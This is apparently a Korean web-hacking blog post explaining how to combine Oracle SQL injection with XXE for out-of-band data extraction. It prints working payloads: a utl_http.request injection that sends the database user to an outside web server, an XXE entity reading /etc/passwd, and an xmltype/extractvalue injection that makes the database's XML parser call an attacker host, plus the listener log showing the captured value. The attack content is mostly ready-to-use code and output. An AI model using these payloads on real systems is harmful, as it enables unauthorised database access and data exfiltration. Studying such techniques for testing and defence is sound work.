SQL인젝션 - XXE를 이용한 OOB
최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데, XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다.
BlindSQL 인젝션
ex) 7777 and 1=1 from dual--
OOB (Out of Band)
OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.
ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --
이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.
XXE(XML eXternal Entity)
XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.
ex) XXE 예시
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<tag>&xxe;</tag>
XXE 를 이용한 SQL인젝션 OOB (SQL인젝션 + XXE)
오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.
7777 and 1=((select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://x.x.x.x/'||(SELECT user from dual)||'">%remote;]>'),'/l') from dual)) FROM DUAL-- |
결과값을 받을 외부 서버에서)
# python -m SimpleHTTPServer 53
Serving HTTP on 0.0.0.0 port 53 ...
x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found
x.x.x.x - - [09/Nov/2018 10:48:25] "GET /hyunmini HTTP/1.0" 404 -
위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.
웹해킹은 여전히 심오하다. 끝.
'Web Hacking' 카테고리의 다른 글
xmltype() 함수를 이용한 Oracle Error Based SQL Injection (0) | 2018.08.15 |
---|---|
javascript 로 객체 메소드 목록 확인 (0) | 2016.08.03 |
php 의 연산자 취약점 (1) | 2016.07.28 |
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |